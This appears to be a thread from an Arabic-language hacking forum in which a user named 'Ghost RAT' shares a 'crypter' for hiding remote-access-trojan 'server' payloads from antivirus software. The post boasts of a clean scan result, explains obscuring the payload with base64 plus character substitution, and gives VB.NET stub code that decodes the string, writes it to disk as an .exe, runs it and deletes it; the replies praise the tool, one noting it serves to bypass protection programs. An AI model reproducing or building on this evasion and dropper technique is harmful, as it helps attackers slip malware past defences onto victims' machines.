حالة الموضوع:
مغلق
  1. Ghost RAT

    Ghost RAT مراقب عآم

    الأنتساب:
    ‏12 ابريل 2015
    المشاركات:
    479
    الإعجابات المتلقاة:
    163
    نقاط الجائزة:
    43
    الجنس:
    ذكر
    الإقامة:
    IRAQ
    [​IMG]
    الله وحده لا شريك له و أن محمداً عبده و رسوله صلى الله عليه و سلم ...
    ... و على آله و صحبه أجمعين و من تبعهم بإحسان إلى يوم الدين ...
    ...فإن أصدق الحديث كتاب الله تعالى و خير الهدي هديُ سيدنا محمد صلى الله عليه و سلم ... آمآ بعد...

    [​IMG]
    اهلا وسهلا في ادارين وزوار عراق تيم الكرام
    انشاء الله تمام الصحه والعافيه يارب

    [​IMG]
    ندخل صله الموضوع
    شباب طبعن مناسبه رمضان حبيت اطرح لكم اداه تشفير حصريا على منتدى عراق تيم

    واجه رائيسيه

    [​IMG]
    نتيجه التشفيره كلين بقوه الله مكشوفه من حمايه مش مهمه
    [​IMG]
    نتيجه الفحص
    https://virusscan.jotti.org/fr-FR/filescanjob/m1umo029l3
    [​IMG]

    طريقة التشفير بسيطة جدا . و سنبداء ان شاء الله بابسط دالة التشفير و هي base64
    ** ماهي دالة base64
    Base64 هي دالة تقوم بتحويل الملفات من صيغته ذات الترميز الثنائي الى نص ذو تشفير ASCII بحيث لا يفقد الملف اي من خصائصه و يمكن اعادة فك تشفير النص الى الملف الاصلي


    ==========================================
    مثل متلاحظون بلصوره سيرفر مشفر
    ****** هنا تم تحويل السيرفر الى نص ******
    ***** التشفير ****
    ("*","s = s.Replace("A
    هنا استخدمنا كود الاستبدال يعني لكل A استبدله ب *
    نفس الشيئ مع الاحرف M و T
    اختر الاحرف الاسسية الذي هو T و M و الاكثر استخداما الذي هو A

    ببساطة هو استبدال بعض القيم لكي يصبح النص غير قابل لفك تشفيره مباشرة باستخدام دالة Base64
    يمكنك دائما اضافة اكثر من استبادل للقيم لكن تاكد ان القيمة المستبدلة لا توجد في نظام ASCII لانه اثناء فك تشفيره يؤدي الى خطاء
    مثال :
    في نظام ASCII يتوفر لدينا الاحرف العادية مثل abc ABC .... الخ
    لنفترض انك استبدلت A الى b
    سيتم التشفير لكن اثناء فك التشفير سيستبدل كل b الى A
    حتى اذا كان b حرف اصلي و ليس مشفر

    كود:
    Module Module1
        Sub Main()
       
            Try
                Dim s As String = "'"
                s = s.Replace("*", "A")
                s = s.Replace("#", "M")
                s = s.Replace("'", "T")
    
                My.Computer.FileSystem.WriteAllBytes(".exe", decodeBase64(s), False)
                Process.Start(".exe").WaitForExit()
                Kill(".exe")
            Catch ex As Exception
    
            End Try
        End Sub
        Private Function decodeBase64(ByVal base64 As String) As Byte()
            Dim DM, EL
            DM = CreateObject("Microsoft.XMLDOM")
            ' Create temporary node with Base64 data type
            EL = DM.createElement("tmp")
            EL.DataType = "bin.base64"
            ' Set encoded String, get bytes
            EL.Text = base64
            decodeBase64 = EL.NodeTypedValue
        End Function
    End Module
    
    [​IMG]
    عملت فيديو بسيط طريقه الاستخدام
    مشاهده فيديو

    [​IMG]
    [​IMG]
    الان نتقل الى تحميل اضغط هناا
    [​IMG]
    الى هنااا انتهى الموضوع
    اهداء الى
    ستار جبار
    علي العراقي
    بكر العراقي
    امير ايكل
    طه مستر جوكر
    سكريم
    عقرب النجف
    المعاقب الصدري
    مصطفى الموسوي
    والى عزيزي المشاهد
    <<<<<<<<<<<


    [ منكم الدعم ومنآ الجديد ]
    [​IMG]
     
  2. مسہہٰتہہٰر بٰٰرايہٰمر

    مسہہٰتہہٰر بٰٰرايہٰمر ᎿᎻᎬ ᏞᎥᏫᏁ موقوف لمخالفة الشروط

    الأنتساب:
    ‏1 فبراير 2016
    المشاركات:
    288
    الإعجابات المتلقاة:
    67
    نقاط الجائزة:
    28
    الجنس:
    ذكر
    الوظيفة:
    طالب
    الإقامة:
    العراق
    عاشت الايادي حبيبي
     
    أعجب بهذه المشاركة Ghost RAT
  3. Ghost RAT

    Ghost RAT مراقب عآم

    الأنتساب:
    ‏12 ابريل 2015
    المشاركات:
    479
    الإعجابات المتلقاة:
    163
    نقاط الجائزة:
    43
    الجنس:
    ذكر
    الإقامة:
    IRAQ
    وانت العايش حبيبي
     
  4. حسين رضا

    حسين رضا Developer

    الأنتساب:
    ‏6 فبراير 2016
    المشاركات:
    90
    الإعجابات المتلقاة:
    14
    نقاط الجائزة:
    8
    عاشت ايدك صديقي لكن هذه الطريقه قديمه جداً
    و التشفيره لا بأس بها
    مشكور على الطرح
     
    أعجب بهذه المشاركة Ghost RAT
  5. Ghost RAT

    Ghost RAT مراقب عآم

    الأنتساب:
    ‏12 ابريل 2015
    المشاركات:
    479
    الإعجابات المتلقاة:
    163
    نقاط الجائزة:
    43
    الجنس:
    ذكر
    الإقامة:
    IRAQ
    وانت العايش اخي العزيز
    طريقه تم تطويرها كثير يغالي
    نورت
     
    أعجب بهذه المشاركة حسين رضا
  6. علاوي سنايبر

    علاوي سنايبر ELZAEEM Active DeveloPer

    الأنتساب:
    ‏28 يوليو 2015
    المشاركات:
    235
    الإعجابات المتلقاة:
    348
    نقاط الجائزة:
    63
    الجنس:
    ذكر
    الإقامة:
    iraq
    وعليكم السلام ورحمة الله وبركاتة
    بارك الله فيك , تشفيرة جميلة
    عاشت ايدك
    تقبل مروري
     
    أعجب بهذه المشاركة Ghost RAT
  7. Security ALqassem

    Security ALqassem Developer

    الأنتساب:
    ‏7 سبتمبر 2015
    المشاركات:
    128
    الإعجابات المتلقاة:
    32
    نقاط الجائزة:
    28
    بوركت ياغالي
     
    أعجب بهذه المشاركة Ghost RAT
  8. -مصطفى الموسوي-

    -مصطفى الموسوي- :.HackTheBad:. مشرف

    الأنتساب:
    ‏26 أغسطس 2015
    المشاركات:
    129
    الإعجابات المتلقاة:
    59
    نقاط الجائزة:
    28
    أحسنت
    التشفير لتخطي برامج الحماية بأستخدام دوال الاستبدال
    تحصل على نتيجة لا بأس بها
     
    أعجب بهذه المشاركة Ghost RAT
  9. No HackEr

    No HackEr Developer

    الأنتساب:
    ‏23 مارس 2012
    المشاركات:
    58
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    8
    الإقامة:
    المــكســـيكـ||~
    نــآآيسس يَ ممبددع
     
    أعجب بهذه المشاركة Ghost RAT
  10. سيف الأسلام

    سيف الأسلام Developer

    الأنتساب:
    ‏17 يونيو 2012
    المشاركات:
    20
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    3
    الوظيفة:
    طالب مدرسه
    الإقامة:
    بغداد
    عاشت ايدك
     
    أعجب بهذه المشاركة Ghost RAT
حالة الموضوع:
مغلق

مشاركة هذه الصفحة